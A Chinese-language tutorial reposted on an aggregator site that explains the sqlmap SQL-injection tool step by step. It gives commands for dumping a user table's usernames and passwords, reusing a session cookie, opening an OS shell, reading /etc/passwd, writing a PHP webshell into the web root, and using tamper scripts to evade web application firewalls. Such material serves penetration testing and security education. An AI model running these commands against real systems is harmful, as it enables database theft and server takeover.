我的编程空间,编程开发者的网络收藏夹
学习永远不晚

SQLmap 扫描工具的使用

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

SQLmap 扫描工具的使用

一、SQLMap拖库:

SQLMap可以完成注入点的发现,数据库类型的确认,WebShell权限和路径的确认,拖库等一系列功能。测试的Payload共分为5级:Level 1 ~ Level 5,Level 1属于基础级,Payload相对较少,Level 5 Payload很多。

当我们发现注入点的时候,

 sqlmap -u "http://xxx.xx.xx/security/read.php?id=1"

查看所有的数据库

 sqlmap -u "http://xxx.xxx.xxxx/security/read.php?id=1" --dbs

查看当前使用的数据库

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --current-db

发现使用的是learn数据库,接下来对此数据库进行查询

 sqlmap -u "http://xx.xxx.xxx./security/read.php?id=1" --tables -D "learn"

查出所有表以后,对user表的列名进行查询

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --columns -T "user" -D "learn"

users表中的列名已经知道了,可以直接查出所有数据

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dump -C "userid,username,password" -T "user" -D "learn"

完成拖库操作后,可以在输出中查看到表数据,也可以直接根据提示信息进入相应文件查看内容

直接指定数据库类型,节省检测时间

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbs --dbms=mysql

判断是否是DBA

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --dbms=mysql --is-dba

指定Payload级别

 --level=5: 探测等级,1-5,默认为1,等级越高,payload越多,速度越慢。HTTP cookei在level为2时就会测试,HTTP User-Agent/Referer在level为3时就会测试。

自定义Referer和User-Agent

 --random-agent   从/usr/share/sqlmap/data/txt/user-agents.txt文件中随机读取一条User-Agent --user-agent=Qiang/Scanner    任意自定义user-agent --referer=https://xxx.xxx.xxx.xxx.com/test/1    自行指定referer

二、POST和Cookie

如果某个注入点需要先登录,那么可以手工登录后,使用相同的Cookie进行处理

 sqlmap -u "http://xxx.xxx.xxx.xxx/security/read.php?id=1" --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4"  --dbs

如果注入点不是GET请求,而是POST请求,则要添加POST正文

(1)先将POST请求在Burp中进行捕获,将请求内容保存到文件中。

 

(3)运行SQLMap时,再通过-r参数指定文件,同时通过-p参数明确指定参数名(上述请求的参数为id),实现注入。

 sqlmap -r post文件 -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4"  --dbs

需要注意的是,由于URL地址已经在sql-post.txt的请求内容中,所以不再需要指定-u参数。如果不通过-p指定id参数,则SQLMap会尝试所有的参数进行注入测试。如id=12345&name=woniu&addr=chengdu,此处3个参数都会被尝试。

 

新版本的SQLMap在处理HTTP请求类型时会进行自动检测,即使没有明确请求类型是GET还是POST,也是基本可以实现功能的。

三、OS-Shell

整个过程分为三个部分:

(1)猜测网站绝对路径

(2)尝试写入木马

(3)获取到Shell命令行

 sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --os-shell

手工读写文件

 # 读取远程服务器上的文件 sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-read "/etc/passwd" # 当SQL不能自动完成木马植入时,可以使用此命令进行手工植入: sqlmap -r ./sql-post.txt -p id --cookie="PHPSESSID=spcldevefisb5k761oqahirsl4" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php # 此时,也可以使用Python调用sqlmap的命令 (os.popen("").read())进行盲猜,循环遍历目录字典文件。 sqlmap -u  "http://192.168.36.150/security/read.php?id=1" --cookie="PHPSESSID=jbn47m13m6qbs4b5lq7ljp6nu0" --dbms=mysql --file-write ./mm.php --file-dest /opt/lampp/htdocs/security/temp/mm.php --batch # --batch参数可以直接一次性运行完,SQLMap中途不会询问(非交互模式),按照默认设置,适合于自动化。

常见的一些SQL注入语句: SQL注入语句大全_张自强的博客-CSDN博客_sql注入语句大全 SQLMapAPI:SqlmapApi学习 · Issue #69 · PyxYuYu/MyBlog · GitHub

四、Tamper绕过

用法

 --identify-waf 可以检查网站是否有安全防护(WAF/IDS/IPS) --tamper 参数对数据做修改来绕过WAF等设备,其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。 命令:sqlmap.py -u "URL" --tamper "模块.py"

模块说明

 apostrophemask.py             # 将引号替换为UTF-8,用于过滤单引号 base64encode.py             # 替换为base64编码 multiplespaces.py             # 围绕sql关键字添加多个空格 space2plus.py                  # 用+号替换空格 nonrecursivereplacement.py     # 作为双重查询语句,用双重语句替代预定义的sql关键字(适用于非常弱的自定义过滤器,例如将select替换为空) space2randomblank.py         # 将空格替换为其他有效字符 unionalltounion.py             # 将union all select 替换为union select securesphere.py             # 追加特制的字符串 space2hash.py                 # 将空格替换为#号,并添加一个随机字符串和换行符。 space2mssqlblank.py         # (mssql)将空格替换为其他空符号 space2mssqlhash.py             # 将空格替换为#号,并添加一个换行符 between.py                     # 用NOT BETWEEN 0 AND替换大于号,用BETWEEN AND替换等号 percentage.py                 # ASP允许在每个字符前面添加一个%号 sp_password.py                 # 从DBMS日志的自动模糊处理的有效载荷中追加sp_password charencode.py                 # 对给定的Payload全部字符使用URL编码(不处理已经编码的字符) randomcase.py                 # 随机大小写 charunicodeencode.py         # 字符串Unicode编码 space2comment.py             # 将空格替换为 equaltolike.py                 # 将等号替换为like greatest.py                 # 绕过对>的过滤,用GREATEST替换大于号 ifnull2ifisnull.py             # 绕过IFNULL的过滤,替换类似IFNULL(A,B)为IF(ISNULL(A),B,A) modsecurityversioned.py     # 过滤空格,使用Mysql内联注释的方法进行注入 space2mysqlblank.py         # 将空格替换为其他空白符号(使用户MySQL) modsecurityzeroversioned.py # 使用mysql内联注释()的方式进行注入 space2mysqldash.py             # 将空格替换为--,并添加一个换行符。 bluecoat.py                 # 在sql语句之后用有效的随机空白符替换空格符,随后用like替换等于号。 versionedkeywords.py        # 注释绕过 halfversionedmorekeywords.py # 当数据库为mysql时绕过防火墙,在每个关键字之前添加mysql版本注释 space2morehash.py             # 将空格替换为#号,并添加一个随机字符串和换行符。 apostrophenullencode.py     # 用非法双字节unicode字符替换单引号 appendnullbyte.py             # 在有效载荷的结束为止加载零字节字符编码 chardoubleencode.py         # 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) unmagicquotes.py             # 用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。 randomcomments.py             # 用分割sql关键字 ​

工具使用|神器Sqlmap tamper的使用介绍

来源地址:https://blog.csdn.net/m0_61990875/article/details/127440458

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

SQLmap 扫描工具的使用

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

代码扫描工具

代码扫描工具1. sonar2.ali的stc平台用的是:findbugs 和 pmd参考:测试框架:使用SONAR分析代码质量 配置sonar、jenkins进行持续审查 1、Sonar介绍 Sonar是一个用于代码质量管理的开源平台,用
2023-06-03

Web应用扫描工具Wapiti

Web应用扫描工具Wapiti
2023-06-04

php漏洞扫描工具怎么使用

使用php漏洞扫描工具的步骤如下:1. 下载和安装php漏洞扫描工具,例如:OWASP ZAP、Netsparker等。2. 打开漏洞扫描工具,输入要扫描的目标网站的URL地址。3. 配置扫描选项,例如:扫描深度、扫描范围、扫描速度等。4.
2023-06-08

NBNS扫描工具nbtscan-unixwiz

NBNS扫描工具nbtscan-unixwiz
2023-06-04

Linux常用网络工具如何使用路由扫描工具traceroute

本篇内容介绍了“Linux常用网络工具如何使用路由扫描工具traceroute”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!路由扫描主要是查
2023-06-13

Linux常用网络工具如何使用路由扫描工具mtr

这篇文章主要讲解了“Linux常用网络工具如何使用路由扫描工具mtr”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Linux常用网络工具如何使用路由扫描工具mtr”吧!mtr在某些方面比tr
2023-06-13

Python编写nmap扫描工具

NMAP是一款开源的网络探测和安全审核的工具,他能够快速的扫描出某个服务器对外暴露的端口信息。是在安全测试领域很常见的一个工具。今天我们用python的模拟实现一个简单版本的端口扫描工具,主要使用到socket模块,socket模块中提供了
2022-06-02

Joomla!网站扫描工具joomscan

Joomla!网站扫描工具joomscan
2023-06-04

蓝牙扫描工具btscanner修复暴力扫描模式怎么用

这篇文章给大家分享的是有关蓝牙扫描工具btscanner修复暴力扫描模式怎么用的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。蓝牙扫描工具btscanner修复暴力扫描模式在btscanner 2.1-5版本中,当
2023-06-04

Linux常用网络工具之如何使用主机扫描工具fping

本篇内容介绍了“Linux常用网络工具之如何使用主机扫描工具fping”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Linux下有很多强大网
2023-06-13

利用python写的web路径扫描工具

本篇内容介绍了“利用python写的web路径扫描工具”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!现成的WEB路径扫描工具颇多,但都不尽如
2023-06-17

Linux桌面的4种扫描工具

当无纸化的世界还没有出现的时候,越来越多的人通过扫描文件和照片来摆脱纸张。不过,光有扫描仪是不够的。你需要软件来驱动扫描仪。 但问题是,许多扫描仪制造商没有linux版本的软件,他们捆绑在他们的设备。在大多数情况下,这并不重要。为什么因为L
2022-06-04

Linux漏洞扫描工具lynis使用方法解析

前言:Lynis是一款Unix系统的安全审计以及加固工具,能够进行深层次的安全扫描,其目的是检测潜在的时间并对未来的系统加固提供建议。这款软件会扫描一般系统信息,脆弱软件包以及潜在的错误配置. 特征:漏洞扫描系统加固入侵检测中心管理自定义行
2022-06-03

网络扫描集成工具SPARTA

网络扫描集成工具SPARTA
2023-06-04

域名扫描工具Fierce有什么用

小编给大家分享一下域名扫描工具Fierce有什么用,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!域名扫描工具Fierce该工具是一个域名扫描综合性工具。它可以快速
2023-06-04

Python3小工具——结合nmap扫描

一、工具说明调用nmap库实现端口扫描二、演示一下的利用效果三、代码+注释import nmapimport argparsedef nmapScan(Host, Port):    # 调用nmap的PortScanner类    nm 
2023-01-31

ARP扫描工具arp-scan有什么用

这篇文章主要介绍ARP扫描工具arp-scan有什么用,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!ARP扫描工具arp-scanarp-scan是Kali Linux自带的一款ARP扫描工具。该工具可以进行单一目标
2023-06-04

如何用Python编写nmap扫描工具

这篇文章主要介绍“如何用Python编写nmap扫描工具”,在日常操作中,相信很多人在如何用Python编写nmap扫描工具问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”如何用Python编写nmap扫描工具
2023-06-20

扫描仪在工作中的使用

日常工作中,我们经常会因文字无法直接复制、纸质版文件难以转化成电子版文件等琐碎事件而烦躁。在这种情况下,对于少量的工作任务量,大多数人会直接选择拍照、然后从手机上进行扫描识别,而对于大量文档,像是政府档案卷宗、企事业单位合同文档等的处理以及
2023-06-03

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录